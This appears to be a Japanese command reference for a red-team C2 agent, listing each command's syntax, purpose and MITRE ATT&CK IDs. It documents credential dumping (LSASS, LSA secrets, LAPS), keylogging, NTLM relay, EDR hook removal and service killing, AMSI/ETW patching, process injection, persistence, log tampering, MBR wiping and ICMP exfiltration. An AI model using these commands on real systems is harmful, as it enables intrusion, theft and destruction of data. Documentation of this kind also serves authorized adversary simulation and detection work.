keylog | `keylog -action <start\|stop\|dump\|status\|clear>` | 低レベルキーボードロガー。Windows:SetWindowsHookEx。Linux:/dev/input evdev。macOS:IOKit HID。Ctrl+V/Cmd+Vペーストイベントを検出しクリップボード内容をキャプチャ。全プラットフォームでウィンドウコンテキスト追跡(T1056.001)。
lateral-check | `lateral-check -hosts <IPs/CIDRs> [-timeout <seconds>]` | ターゲットに対するラテラルムーブオプションをテスト - SMB、WinRM、RDP、RPC、SSH接続をチェックし、適用可能な方法を提案。クロスプラットフォーム(T1046、T1021)。
last | `last [-action logins\|failed\|reboot] [-count 25] [-user <username>]` | ログイン履歴、失敗したログイン試行、システム起動/シャットダウンイベントを表示。Linux:wtmp/btmpを解析。Windows:Security/Systemイベントログ。macOS:ネイティブ`last`+統合ログ。(T1087.001、T1110、T1082)。
ldap-query | `ldap-query -action <users\|computers\|groups\|domain-admins\|spns\|asrep\|admins\|disabled\|gpo\|ou\|password-never-expires\|trusts\|unconstrained\|constrained\|dacl\|gmsa\|bloodhound\|query> -server <DC>` | LDAP経由でActive Directoryを照会。ユーザー、コンピューター、グループ、ドメイン管理者、全管理者(adminCount)、SPN、AS-REPロースタブル、無効アカウント、GPO、OU、パスワード無期限、ドメイン信頼、制約なし/制約あり委任、DACL分析、gMSAパスワード抽出、BloodHound CE v6収集(グラフ分析用のユーザー/コンピューター/グループ/OU/GPO/信頼)、またはカスタムLDAPフィルターのプリセット照会。クロスプラットフォーム(T1087.002、T1482、T1555、T1003、T1615)。
ldap-write | `ldap-write -action <add-member\|remove-member\|set-attr\|add-attr\|remove-attr\|set-spn\|disable\|enable\|set-password\|shadow-cred\|clear-shadow-cred\|create-machine\|rbcd\|delete\|gpo-task\|gpo-script\|template-esc1\|template-esc4> -server <DC> -target <obj>` | LDAP経由でADオブジェクトを変更。グループメンバーシップ、属性、SPN、アカウント有効化/無効化、パスワードリセット、シャドウクレデンシャル、マシンアカウント作成、RBCD委任、オブジェクト削除。GPO悪用:スケジュールタスク(gpo-task)またはスタートアップスクリプト(gpo-script)の注入。ADCS:ESC1/ESC4悪用のための証明書テンプレート変更。クロスプラットフォーム(T1098、T1556.006、T1484.001、T1649)。
kill | `kill -pid <PID>` | PIDでプロセスを終了。クロスプラットフォーム(Windows/Linux/macOS)。
laps | `laps -server <DC> -username <user@domain> -password <pass> [-filter <computer>]` | LDAP経由でADからLAPSパスワードを読み取り。LAPS v1(ms-Mcs-AdmPwd)とWindows LAPS v2(ms-LAPS-Password)をサポート。クロスプラットフォーム(T1552.006)。
lsa-secrets | `lsa-secrets -action <dump\|cached>` | **(Windowsのみ)** LSAシークレット(サービスパスワード、DPAPIキー、マシンアカウント)とキャッシュされたドメイン資格情報(DCC2/MSCacheV2 hashcat形式)を抽出。SYSTEMが必要(T1003.004、T1003.005)。
launchagent | `launchagent -action <install\|remove\|list> -label <com.example.name> [-path <exe>] [-daemon true]` | **(macOSのみ)** LaunchAgent/LaunchDaemonの永続化をインストール、削除、一覧表示。RunAtLoad+KeepAlive付きplistを作成。
link | `link -host <ip> -port <port> [-connection_type tcp\|namedpipe] [-pipe_name <name>]` | 内部ピボット用にTCPまたは名前付きパイプ経由でP2Pエージェントにリンク。名前付きパイプモードはSMBポート445を使用してWindowsトラフィックをステルス化。クロスプラットフォームTCP、Windowsのみ名前付きパイプ(T1572)。
ln | `ln -target <existing> -link <new> [-symbolic true] [-force true]` | シンボリックリンクまたはハードリンクを作成。シンボリックリンクは存在しないパスを指すことができる。フォースモードは既存リンクを置き換え。クロスプラットフォーム(T1036)。
linux-logs | `linux-logs -action <list\|read\|logins\|clear\|truncate\|shred> [-file <path>] [-search <filter>] [-lines <n>]` | **(Linuxのみ)** Linuxログファイルとバイナリログイン記録(wtmp/btmp/utmp)の一覧表示、読み取り、消去、改ざん。選択的行削除と安全なシュレッディングをサポート(T1070.002)。
logonsessions | `logonsessions [-action list\|users] [-filter <name>]` | **(Windows、Linux、macOS)** アクティブログオンセッションの列挙 - ユーザー、セッションID、ステーション、接続状態。ユーザー名でフィルタリング。Windows:WTS API。Linux:utmp解析。macOS:utmpx解析。
lolbin | `lolbin -action <technique> -path <payload/code/URL> [-export <func>] [-args <extra>]` | **(Windows、Linux、macOS)** LOLBin/GTFOBinプロキシ実行。Windows:rundll32、msiexec、regsvcs、regasm、mshta、certutil、regsvr32、installutil、vbs。クロスプラットフォーム:python、lua、perl、ruby、node、awk。Linux:curl、wget、gcc。macOS:osascript、swift、open、curl。T1218/T1059。
ls | `ls [path]` | 所有者/グループとタイムスタンプ付きでファイルとフォルダを一覧表示。ファイルブラウザ統合。デフォルトはcwd。
make-token | `make-token -username <user> -domain <domain> -password <pass> [-action impersonate\|spawn\|auto-verify -command <cmd>]` | **(Windowsのみ)** 資格情報からトークンを作成:偽装、プロセス起動、または**auto-verify**(偽装後whoami + getprivsチェーン)(T1134.002)。
masquerade | `masquerade -source <file> -technique <type> [-disguise <value>] [-in_place]` | ファイル偽装と隠蔽 - ファイルの偽装(二重拡張子、RtLO、スペース、プロセス一致)または列挙からの隠蔽(hide/unhide)。Windows:+H/+S属性。Linux:ドットプレフィックス。macOS:UF_HIDDEN + ドットプレフィックス(T1036、T1564.001)。
mkdir | `mkdir <directory>` | 新しいディレクトリを作成(必要に応じて親ディレクトリも作成)。
module-stomp | `module-stomp -pid <PID> [-dll_name <DLL>]` | **(Windowsのみ)** 正規DLLの.textセクションをスタンピングしてシェルコードを注入。シェルコードは署名付きDLLのアドレス空間から実行され、プライベートメモリ検出をバイパス(T1055.001)。
modules | `modules [-pid <PID>] [-filter <name>]` | プロセス内のロード済みモジュール/DLL/ライブラリをオプションの名前フィルタリング付きで一覧表示。クロスプラットフォーム(T1057)。
mem-scan | `mem-scan -pid <PID> -pattern <string> [-hex] [-max_results <n>] [-context_bytes <n>]` | プロセスメモリ内のバイトパターンを16進ダンプ出力付きで検索。Windows:VirtualQueryEx/ReadProcessMemory。Linux:/proc/pid/maps+mem。macOS:mach_vm_region/mach_vm_read(自己スキャンのみ)。文字列および16進パターンをサポート。クロスプラットフォーム(T1005、T1057)。
mount | `mount [-filter <substring>] [-fstype <type>]` | マウントされたファイルシステムをデバイス、マウントポイント、タイプ、オプションとともに一覧表示。名前またはファイルシステムタイプでのフィルタリングをサポート。クロスプラットフォーム(T1082)。
mv | `mv <source> <destination>` | ファイルをソースからデスティネーションに移動またはリネーム。
named-pipes | `named-pipes [-filter <pattern>]` | **(Windows、Linux、macOS)** IPC発見のための名前付きパイプ(Windows)、UnixドメインソケットとFIFO(Linux/macOS)の一覧表示。部分文字列フィルタリングをサポート(T1083)。
net-enum | `net-enum -action <users\|groups\|groupmembers\|admins\|sessions\|shares\|domainusers\|domaingroups\|domaininfo\|loggedon\|mapped> [-target <host>] [-group <name>]` | **(Windows、Linux、macOS)** クロスプラットフォームネットワーク列挙。ユーザー、グループ、グループメンバー、管理者、セッション、共有。Windows:Win32 NetAPI(ドメイン照会、マップ済みドライブ)。Linux:/etc/passwd + /etc/group + utmp + NFS/Samba。macOS:dscl + who + sharing。(T1033、T1049、T1087、T1135)。
net-group | `net-group -action <list\|members\|user\|privileged> -server <DC> [-group <name>] [-user <sAMAccountName>] -username <user@domain> -password <pass>` | LDAP経由でADグループメンバーシップを列挙。再帰的メンバー解決、ユーザーのグループ検索、特権グループ列挙。クロスプラットフォーム(T1069.002)。
net-user | `net-user -action <add\|delete\|info\|password\|group-add\|group-remove\|disable\|enable\|lockout> -username <name> [-password <pass>] [-group <group>]` | ローカルユーザーアカウントとグループメンバーシップの管理。Windows:netapi32 API。Linux:useradd/userdel/usermod/chpasswd。macOS:dscl/dseditgroup。T1531ランサムウェアシミュレーション用の無効化/有効化/ロックアウト。クロスプラットフォーム(T1136.001、T1098、T1531)。
net-stat | `net-stat [-state <LISTEN\|ESTABLISHED\|...>] [-proto <tcp\|udp>] [-port <number>] [-pid <number>]` | アクティブなネットワーク接続とリッスンポートをプロトコル、状態、PID、プロセス名とともに一覧表示。状態、プロトコル、ポート、プロセスIDによるフィルタリングをサポート。クロスプラットフォーム。
ntdll-unhook | `ntdll-unhook [-action unhook\|check] [-dll ntdll.dll\|kernel32.dll\|kernelbase.dll\|advapi32.dll\|user32.dll\|all] [-source disk\|knowndlls]` | **(Windowsのみ)** クリーンなコピーから.textセクションを復元してDLLからEDRインラインフックを除去。5つのDLLまたは`all`をサポート。`check`は変更せずにフックを報告。`knowndlls`ソースは\\KnownDlls\\セクションオブジェクトを使用(ディスクI/Oを回避し、よりOPSECフレンドリー)(T1562.001)。
syscalls | `syscalls [-action status\|list\|init]` | **(Windowsのみ)** 間接システムコールリゾルバー。ntdllエクスポートを解析してNt*システムコール番号を解決し、ntdllのsyscall;retガジェットにジャンプするスタブを生成。アクティブ時、インジェクションコマンドはユーザーランドAPIフックをバイパス(T1106)。
opus-injection | `opus-injection` | **(Windowsのみ)** コールバックベースのプロセスインジェクション。バリアント1:Ctrl-Cハンドラチェーン。バリアント4:PEB KernelCallbackTable。[詳細](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#opus-injection)
persist | `persist -method <method> -action <install\|remove\|check>` | **(Windows、Linux、macOS)** 永続化のインストールまたは削除。Windows:レジストリ、スタートアップフォルダ、com-hijack、スクリーンセーバー、ifeo、winlogon、print-processor、accessibility、active-setup、time-provider、port-monitor、wmi-event(T1546.003)、netsh-helper(T1546.007)。Linux:crontab、systemd、shell-profile、ssh-key、xdg-autostart、motd(root、T1546)、rc-local(root、T1037.004)、apt-hook(root、T1546)、udev-rule(root、T1546)。macOS:launchagent、periodic(root、T1053.003)、folder-action(T1546)、login-item(T1547.015)、auth-plugin(root、T1547.002)、dylib-hijack(T1574.004、スキャン/インストール/削除)、xpc-service(MachServices + KeepAlive)。すべてのメソッドでインストール/削除/一覧表示をサポート。
persist-enum | `persist-enum [-category <all\|platform-specific>]` | **(Windows、Linux、macOS)** 永続化メカニズムの読み取り専用列挙。Windows:レジストリ、スタートアップ、タスク、サービス。Linux:cron、systemd、シェルプロファイル、SSH鍵、LD_PRELOAD、udevルール、カーネルモジュール、motd、atジョブ、D-Busサービス、PAMモジュール、パッケージフック、logrotateスクリプト、NetworkManagerディスパッチャ、anacron。macOS:LaunchAgents、ログイン項目、定期スクリプト、authプラグイン、emond、atジョブ(T1547、T1546、T1053、T1543、T1556)。
password-managers | `password-managers [-depth <N>]` | パスワードマネージャーデータベースと設定ファイルを発見 - KeePass(.kdbx)、1Password、Bitwarden、LastPass、Dashlane、KeePassXC。クロスプラットフォーム(T1555)。
poolparty-injection | `poolparty-injection` | **(Windowsのみ)** Windowsスレッドプール内部を悪用するPoolParty技術を使用してシェルコードを注入。全8バリアント対応。[詳細](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#poolparty-injection)
ping | `ping -hosts <IP/CIDR/range> [-port 445]` または `ping -action exfil-icmp -target <IP> -file <path>` | TCP接続ホスト到達可能性(T1018)+ICMPデータ外部送信(XORエンコーディングとジッター付きエコーリクエストペイロード経由)(T1048.003、T1095)。
pipe-server | `pipe-server -action <check\|impersonate> [-name <pipe>] [-timeout 30]` | **(Windowsのみ)** 権限昇格のための名前付きパイプ偽装。パイプサーバーを作成、特権クライアント接続を待機、トークンを偽装。SeImpersonatePrivilegeが必要(T1134.001)。
printspoofer | `printspoofer [-timeout 15]` | **(Windowsのみ)** PrintSpoofer権限昇格 - SeImpersonateからSYSTEMへ(Print Spooler経由)。名前付きパイプを作成、OpenPrinterW経由でスプーラー接続をトリガー、SYSTEMトークンを偽装。ワンステップ NETWORK SERVICE → SYSTEM(T1134.001)。
pkg-list | `pkg-list [-filter <substring>]` | インストール済みパッケージとソフトウェアを一覧表示。dpkg/rpm/apk(Linux)、Homebrew/Applications(macOS)、またはレジストリUninstallキー(Windows)を列挙。名前フィルタリングをサポート。クロスプラットフォーム(T1518)。
port-scan | `port-scan -hosts <IPs/CIDRs> [-ports <ports>] [-timeout <s>]` | ネットワークサービス発見のためのTCP接続スキャン。CIDR、IP範囲、ポート範囲をサポート。クロスプラットフォーム。
powershell | `powershell <command> [--encoded]` | **(Windowsのみ)** OPSEC強化フラグ(省略形、ランダム化)付きでpowershell.exe経由でPowerShellコマンドを実行。エンコードコマンドモードでプロセスツリーから引数を隠蔽。
prefetch | `prefetch -action <list\|parse\|delete\|clear> [-name <exe>] [-count <max>]` | **(Windowsのみ)** Windowsプリフェッチファイルの解析と管理。実行されたプログラムの一覧表示、実行履歴の解析(最大8タイムスタンプ)、特定エントリの削除、または全消去。MAM圧縮ファイル対応(T1070.004)。
privesc-check | `privesc-check -action <all\|auto-escalate\|privileges\|services\|registry\|uac\|dll-hijack\|dll-plant\|dll-sideload\|dll-exports\|hijack-execute\|hijack-deploy\|hijack-cleanup\|hijack-trigger\|service-registry\|...>` | 権限昇格の列挙と悪用。`auto-escalate`:自動サブタスクチェーン - すべてのベクトルを列挙し、最適な昇格(UACバイパス、トークン窃取、またはsudo)を試行。`hijack-execute`:自動プロキシDLLファクトリ - ターゲットDLLエクスポートを読み取り、サーバーが埋め込みシェルコード付きプロキシDLLをコンパイル(mingw)。`hijack-deploy`:プロキシDLLをデプロイ(オリジナルのリネーム、プロキシを配置)。`hijack-trigger`:ハイジャックをトリガー - サービスを再起動(`-trigger restart -service_name <svc>`)またはプロセスを起動(`-trigger spawn -source <exe>`)してプロキシDLLをロード。`hijack-cleanup`:デプロイされたハイジャックを元に戻す(プロキシ削除、オリジナル復元)。Windows:トークン特権、引用符なしサービス、AlwaysInstallElevated、自動ログオン、UAC、unattendファイル、DLLハイジャックスキャン(ファントムDLL、書き込み可能PATH、KnownDLLs)、タイムスタンピング付きDLLプランティング、DLLサイドローディング、PEエクスポート列挙(dll-exports with DEFファイル生成)、サービスレジストリ権限悪用。Linux:SUID/SGID、ケイパビリティ、sudo、コンテナ、cronハイジャック、NFS no_root_squash、systemdユニット、sudoトークン、PATHハイジャック、dockerグループ、危険グループ、Polkitルール、modprobeフック、ld.so.preloadインジェクション、セキュリティモジュール(AppArmor/SELinux)。macOS:LaunchDaemons、TCC、dylibハイジャック、SIP。クロスプラットフォーム(T1548、T1574.001、T1574.002、T1574.009、T1574.011)。
psexec | `psexec -host <target> -command <cmd> [-name <svcname>] [-cleanup <true\|false>]` または `psexec -action check -host <target>` | **(Windowsのみ)** SCMサービス作成を介してリモートホストでコマンドを実行 - PSExecスタイルのラテラルムーブ。`check`は実行せずに前提条件(SMB 445、SCMアクセス、管理共有)を検証。MITRE T1021.002、T1569.002。
proc-info | `proc-info -action <info\|connections\|mounts\|modules> [-pid <PID>]` | **(Linuxのみ)** 詳細な/proc検査:プロセス詳細(cmdline、env、caps、cgroups、名前空間、FD)、PID解決付きネットワーク接続、マウント、カーネルモジュール。MITRE T1057。
process-mitigation | `process-mitigation [-action query\|set] [-pid <PID>] [-policy <policy>]` | **(Windowsのみ)** プロセス軽減ポリシー(DEP、ASLR、CIG、ACG、CFG)の照会または設定。CIGを設定して未署名DLLのロードをブロック(EDR防御)。MITRE T1480。
process-tree | `process-tree [-pid <PID>] [-filter <name>]` | プロセス階層をツリー形式で親子関係とともに表示。インジェクションターゲットとセキュリティツールの識別に役立つ。クロスプラットフォーム(T1057)。
procdump | `procdump [-action lsass\|dump\|search] [-pid <PID>]` | プロセスメモリのダンプ。Windows:LSASS自動発見付きMiniDumpWriteDump。Linux:/proc/pid/mem領域ダンプ。Searchアクションは資格情報保持プロセスを検出。Mythicにアップロードし、ディスクからクリーンアップ。MITRE T1003.001、T1003.007。
proxy-check | `proxy-check [-test_url <URL>]` | 環境変数、OS設定(レジストリ、設定ファイル)、Goトランスポートからプロキシ設定を検出。オプションの接続テスト。クロスプラットフォーム(T1016)。
ps | `ps [-filter <name>] [-pid <PID>] [-ppid <PPID>] [-user <name>] [-v]` | Mythicプロセスブラウザ統合付きで実行中プロセスを一覧表示。名前、PID、親PID、またはユーザー名でフィルタリング。クロスプラットフォーム。
ptrace-inject | `ptrace-inject -action <check\|inject> [-pid <PID>] [-filename <shellcode>] [-restore <true>] [-timeout <30>]` | **(Linuxのみ、amd64/arm64)** ptraceによるプロセスインジェクション - PTRACE_ATTACH/POKETEXT/SETREGS(レジスタとコード復元付き)。Yama ptrace_scope事前チェックと実用的なガイダンス。Checkモードはptrace_scope、ケイパビリティ、候補を報告(T1055.008)。
pty | `pty [-shell /bin/bash] [-rows 24] [-cols 80]` | **(Linux/macOS)** Mythicのインタラクティブタスク経由でインタラクティブPTYシェルセッションを開始。双方向I/O付きフルターミナルエミュレーション(T1059)。
pwd | `pwd` | ワーキングディレクトリを表示。
read-memory | `read-memory <dll_name> <function_name> <start_index> <num_bytes>` | **(Windowsのみ)** DLL関数アドレスからバイトを読み取り。
reg | `reg -action <read\|write\|delete\|search\|save\|creds> [-hive HKLM] [-path ...] [...]` | **(Windowsのみ)** 統合レジストリ操作 - 読み取り、書き込み、削除、検索、ハイブ保存(T1012、T1112、T1003.002)。
remote-reg | `remote-reg -action <query\|enum\|set\|delete> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-hive HKLM] [-path ...] [-name <val>]` | WinReg RPC over SMB名前付きパイプ経由でリモートWindowsホストのレジストリを読み取り/書き込み。パスザハッシュ対応。クロスプラットフォーム(T1012、T1112、T1021.002)。
remote-service | `remote-service -action <list\|query\|create\|start\|stop\|delete\|modify-path\|trigger\|dll-sideload> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-name <svc>] [-binpath <path>]` | SVCCTL RPC経由でリモートWindowsホストのサービスを管理。標準操作+高度なラテラルムーブ:modify-path(既存サービスbinpathのハイジャック)、trigger(トリガー開始サービスの作成)、dll-sideload(ServiceDllレジストリハイジャック)。パスザハッシュ。クロスプラットフォーム(T1569.002、T1543.003、T1574.001)。
rev2self | `rev2self` | **(Windowsのみ)** アクティブな偽装トークンを破棄して元のセキュリティコンテキストに戻す。
route | `route [-destination <IP>] [-gateway <IP>] [-interface <name>]` | システムルーティングテーブルをオプションのフィルタリング付きで表示。Windows:GetIpForwardTable API、Linux:/proc/net/route + IPv6、macOS:netstat -rn。クロスプラットフォーム(T1016)。
rpfwd | `rpfwd start <port> <remote_ip> <remote_port>` / `rpfwd forward <port> <target_ip> <target_port> [bind_addr]` / `rpfwd stop <port>` | ポートフォワーディング:リバース(Mythicがターゲットにルーティング)またはフォワード(エージェントが内部ターゲットにリレー)。クロスプラットフォーム(T1090)。
rm | `rm [-path <path>] [-secure true]` | ファイルまたはディレクトリを削除。`-secure true`は削除前にランダムデータで3回上書きし、フォレンジック復旧を防止(T1070.004)。
run | `run <command>` | シェルコマンドを実行し、出力を返す。
runas | `runas -command <cmd> -username <user> -password <pass> [-domain <domain>] [-netonly true]` | 別のユーザーとしてコマンドを実行。Windows:CreateProcessWithLogonW(/netonly対応)。Linux/macOS:rootとしてsetuid、またはsudo -Sでパスワード。クロスプラットフォーム(T1134.002)。
schtask | `schtask -action <create\|query\|delete\|run\|list\|enable\|disable\|stop> -name <name> [-program <path>] [-trigger <type>] [-filter <substring>]` | スケジュールタスクの管理。Windows:Task Scheduler COM API。Linux:crontab、systemdタイマー、atジョブ。macOS:LaunchAgents/LaunchDaemons、crontab、at。クロスプラットフォーム(T1053)。
screenshot | `screenshot [-action single\|record] [-interval <sec>] [-duration <sec>] [-max_frames <n>]` | 単一スクリーンショットのキャプチャ、または一定間隔で連続スクリーンショットを記録。PNGとしてアップロード。recordモード:設定可能な間隔/期間/最大フレーム数、jobkillで停止可能。Windows:GDI。macOS:screencapture。Linux:X11/Wayland自動検出。クロスプラットフォーム(T1113)。
secret-scan | `secret-scan [-path /home/user] [-depth 5] [-max_results 100]` | ファイルからシークレット、APIキー、秘密鍵、接続文字列、機密パターンを検索。42の正規表現パターン(AWS、GitHub、Slack、Stripe、Vault、DigitalOcean、Shopify、Databricks、New Relic、PagerDuty、Okta、Sentry、Datadog、CircleCIなど)で値はマスク。深さ制限付きディレクトリウォーク、ノイズディレクトリをスキップ。クロスプラットフォーム(T1552.001、T1005)。
secure-delete | `secure-delete [-action delete\|wipe\|wipe-mbr] -path <file_or_device> [-passes <n>] [-confirm DESTROY]` | ファイルの安全な削除、データワイプ、ブートレコードの破壊。`delete`:ランダム上書き+削除。`wipe`:積極的なパターン破壊(T1485)。`wipe-mbr`:生のディスクデバイスのMBR/GPTブートレコードを上書き(T1561)。セーフティゲートが必要。クロスプラットフォーム(T1070.004、T1485、T1561)。
security-info | `security-info [-action all\|edr\|minifilter-enum\|kernel-drivers]` | セキュリティ態勢とアクティブな制御を報告、EDR/XDR製品(20以上のベンダー)を検出、ミニフィルタードライバーをEDR分類で列挙、またはEDR/コールバック分析付きでロード済みカーネルドライバーを一覧表示。SELinux/AppArmor/seccomp/ASLR(Linux)、SIP/Gatekeeper/FileVault(macOS)、Defender/UAC/Credential Guard/BitLocker(Windows)。クロスプラットフォーム(T1082、T1518.001)。
sniff | `sniff [-action capture\|poison\|relay\|ldap-relay] [-interface eth0] [-duration 30] [-response_ip <target>] [-protocols llmnr,nbtns,mdns] [-ports listen:target]` | ネットワークスニッフィング、ポイズニング、NTLMリレー。`capture`:パッシブ資格情報抽出(HTTP、FTP、NTLM、Kerberos、LDAP、SMTP AUTH、Telnet)。`poison`:アクティブレスポンダー(SMB+HTTPハッシュキャプチャ)- hashcatモード5600のNTLMv2ハッシュ。`relay`:ターゲットSMBへのNTLMリレー。`ldap-relay`:ターゲットLDAPへのNTLMリレー(whoami、add-computer、RBCD、dump-lapsなどのポスト認証操作付き)(T1040、T1557.001)。
share-hunt | `share-hunt -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-depth <n>] [-filter <all\|credentials\|configs\|code>]` | 複数ホストのSMB共有をクロールして機密ファイル(資格情報、設定、スクリプト)を検出。パスザハッシュ対応の再帰的ディレクトリ検索。クロスプラットフォーム(T1135、T1039)。
smb | `smb -action <shares\|ls\|cat\|upload\|rm\|mkdir\|mv\|push\|exfil\|taint\|share-perms\|share-spider\|share-search> -host <target> -username <user> [-password <pass>] [-hash <NT hash>] [-share <name>] [-path <path>] [-depth <n>] [-extensions <.docx,.xlsx>] [-patterns <*.kdbx,web.config>] [-max_results <n>]` | リモート共有でのSMB2ファイル操作 - 一覧表示、参照、読み取り/書き込み/削除、push(ラテラルツール転送)、exfil(データ外部送信)、taint(ファイル植え付け)。**share-perms**:全共有の読み取り/書き込みアクセスをテスト。**share-spider**:深さ/拡張子フィルター付き再帰的ディレクトリ一覧。**share-search**:組み込みまたはカスタムパターンを使用して共有全体で機密ファイルを検索。NTLM認証+パスザハッシュ。クロスプラットフォーム(T1021.002、T1039、T1080、T1135、T1550.002、T1570、T1048.003)。
service | `service -action <query\|start\|stop\|restart\|create\|delete\|list\|enable\|disable\|edr-enum\|edr-kill> -name <name> [-binpath <path>] [-confirm EDR-KILL]` | **(Windows、Linux、macOS)** サービス管理+EDR/AVターゲティング。`edr-enum`:インストール済みセキュリティサービスを検出(60以上のシグネチャ)。`edr-kill`:検出したEDRを停止+無効化(セーフティゲートが必要)。Windows SCM、Linux systemd、macOS launchd(T1543、T1489、T1562.001)。
setenv | `setenv -action <set\|unset> -name <NAME> [-value <VALUE>]` | エージェントプロセスで環境変数を設定または解除。クロスプラットフォーム。
shell-config | `shell-config -action <history\|list\|read\|inject\|remove\|clear> [-file <.bashrc>] [-line <cmd>] [-lines <count>]` | シェル履歴の読み取り、シェル設定ファイルの一覧表示/読み取り/注入/削除/消去。Linux/macOS:bashrc/zshrc。Windows:PowerShellプロファイル+PSReadLine履歴。T1546.004/T1546.013/T1552.003/T1070.003。
sleep | `sleep [seconds] [jitter] [working_start] [working_end] [working_days]` または `sleep -interval 60 -jitter 30 -jitter_profile normal` | コールバック間隔、ジッター、稼働時間、ジッター分布プロファイル(uniform/normal/exponential)を設定。Normal分布は間隔付近に集中、Exponentialはバースト的な人間のパターンを模倣。
socks | `socks <start\|stop\|stats\|bandwidth> [port] [-bandwidth_kbs N]` | SOCKS5プロキシの開始、停止、統計表示、帯域幅設定。TCP CONNECTとUDP ASSOCIATE(RFC 1928)をサポートし、プロキシ経由でDNS/UDPツールを中継。オプションの接続ごとのKB/s帯域幅制限。統計はアクティブ接続、TX/RXバイト数、最近の履歴を表示。
sort | `sort -path <file> [-reverse true] [-numeric true] [-unique true]` | ファイルの行をソート。アルファベット順、数値順、逆順、一意モードをサポート。クロスプラットフォーム(T1083)。
spawn | `spawn -path <exe> [-ppid <pid>] [-blockdlls true]` | **(Windowsのみ)** インジェクション用に中断プロセスまたはスレッドを起動。PPID偽装(T1134.004)と非Microsoft DLLブロッキングをサポート。
spray | `spray -action <kerberos\|ldap\|smb> -server <DC> -domain <DOMAIN> -users <user1\nuser2> [-password <pass>] [-hash <NT hash>] [-delay <ms>] [-jitter <0-100>]` | Kerberos事前認証、LDAPバインド、またはSMB認証経由でADに対してパスワードスプレー。SMBはパスザハッシュをサポート。ロックアウト対応、設定可能な遅延/ジッター。クロスプラットフォーム(T1110.003、T1550.002)。
ssh | `ssh [-action exec\|push\|check\|tunnel-local\|tunnel-remote\|tunnel-dynamic\|tunnel-list\|tunnel-stop] -host <target> -username <user> [-password <pass>] [-key_path <path>] [-command <cmd>] [-local_port <port>] [-remote_host <host>] [-remote_port <port>]` | コマンド実行、ファイルプッシュ、SSHトンネル作成。`check`はSSH前提条件(ポート、認証、シェル)を検証。tunnel-local(-L)、tunnel-remote(-R)、tunnel-dynamic(-D SOCKS5)。クロスプラットフォーム(T1021.004、T1570、T1572)。
ssh-agent | `ssh-agent [-action <list\|enum>] [-socket /path/to/agent.sock]` | **(Linux/macOSのみ)** SSHエージェントソケットの列挙とロード済み鍵の一覧表示。SSH_AUTH_SOCKを発見、/tmp/ssh-*、/run/user/*、GNOME keyringをスキャン。鍵フィンガープリントを資格情報ボルトに報告(T1552.004)。
ssh-keys | `ssh-keys -action <list\|add\|remove\|read-private\|enumerate\|generate\|find-reachable\|try-keys\|auto-move> [-key <ssh_key>] [-user <username>] [-targets <range>] [-host <ip>] [-username <user>] [-command <cmd>]` | SSH鍵管理とラテラルムーブ自動化。authorized_keysの読み取り/注入、秘密鍵の読み取り、鍵ペアの生成、SSH設定の列挙。ラテラルムーブ:find-reachable(サブネットスキャン)、try-keys(鍵テスト)、auto-move(チェーンスキャン→認証→実行)。Windows:PuTTYセッション/レジストリ、.ppk鍵、WSL、OpenSSH、Git SSH設定。クロスプラットフォーム(T1552.004、T1552.002、T1098.004、T1021.004、T1046)。
stat | `stat -path <file_or_dir>` | ファイル/ディレクトリのメタデータを表示:タイプ、サイズ、パーミッション、タイムスタンプ。プラットフォーム固有の詳細 - inode/所有者(Linux/macOS)、ファイル属性(Windows)。Lstatによるシンボリックリンク認識。クロスプラットフォーム(T1083)。
strings | `strings -path <file> [-min_length <n>] [-pattern <text>] [-offset <bytes>] [-max_size <bytes>]` | ファイルから印刷可能なASCII文字列を抽出。バイナリ内の埋め込みテキスト、URL、資格情報を検出。パターンフィルター、最小長制御、オフセット/最大サイズ指定。クロスプラットフォーム(T1005)。
start-clr | `start-clr [-action execute-assembly -assembly <b64> -arguments <args>]` | **(Windowsのみ)** CLR v4の初期化または.NETアセンブリの実行。`execute-assembly`アクションはAMSI+ETWを自動パッチし、ワンステップでアセンブリを実行(CS execute-assemblyと同様)。手動モードは-amsi_patch/-etw_patchで細かく制御。
systemd-persist | `systemd-persist -action <install\|remove\|list> -name <unit> [-exec_start <cmd>] [-timer <calendar>] [-system true]` | **(Linuxのみ)** systemdサービス/タイマー永続化のインストール、削除、一覧表示。ユーザーまたはシステムスコープ。MITRE T1543.002。
steal-token | `steal-token -pid <pid> [-action spawn -command <cmd>]` | **(Windowsのみ)** 別のプロセスからトークンを窃取:偽装するか、そのトークンでプロセスを起動(T1134.002)。
token-store | `token-store -action <save\|list\|use\|remove\|history> -name <label>` | **(Windowsのみ)** 名前付きトークンボルト - 保存、一覧表示、復元、削除、ID遷移履歴の表示。窃取/作成したID間の迅速な切り替えを可能にし、再窃取を回避(T1134.001)。
suspend | `suspend -action <suspend\|resume> -pid <PID>` | プロセスを中断または再開。機密操作中の戦術的EDR/AV一時停止。Windows:NtSuspendProcess/NtResumeProcess。Linux/macOS:SIGSTOP/SIGCONT。クロスプラットフォーム(T1562.001)。
sysinfo | `sysinfo [-action info\|full-profile]` | 包括的なシステム情報:OSバージョン、ハードウェア、メモリ、稼働時間、ドメイン、.NET(Windows)、SELinux/SIPステータス。`full-profile`は自動5ステップホストプロファイリングチェーン(sysinfo → ps → security-info → privesc-check → persist-enum)を実行。クロスプラットフォーム(T1082)。
sysmon-config | `sysmon-config [-action check\|rules\|events]` | **(Windowsのみ)** Sysmonのインストールを検出し、設定を抽出 - サービス/ドライバステータス、ハッシュアルゴリズム、オプションフラグ、ルールデータサイズ、イベントチャンネル。ミニフィルター高度値を介してリネームされたインストールを検出(T1518.001、T1562.001)。
tac | `tac -path <file>` | ファイルの行を逆順で表示。最新から最古へログを表示するのに便利。クロスプラットフォーム(T1083)。
tail | `tail -path <file> [-lines <N>] [-head true] [-bytes <N>]` | ファイル全体を転送せずに最初または最後のN行/バイトを読み取り。効率的な末尾用リングバッファ、大容量ファイル用逆シーク。クロスプラットフォーム(T1005、T1083)。
tcc-check | `tcc-check [-service <filter>]` | **(macOSのみ)** TCC(Transparency, Consent, and Control)パーミッションを列挙。カメラ、マイク、画面録画、フルディスクアクセスを持つアプリを発見。サービスごとにグループ化し、許可された概要を表示(T1082)。
touch | `touch -path <file> [-mkdir true]` | 空ファイルを作成、または既存ファイルのタイムスタンプを更新。オプションで親ディレクトリ作成。クロスプラットフォーム(T1106)。
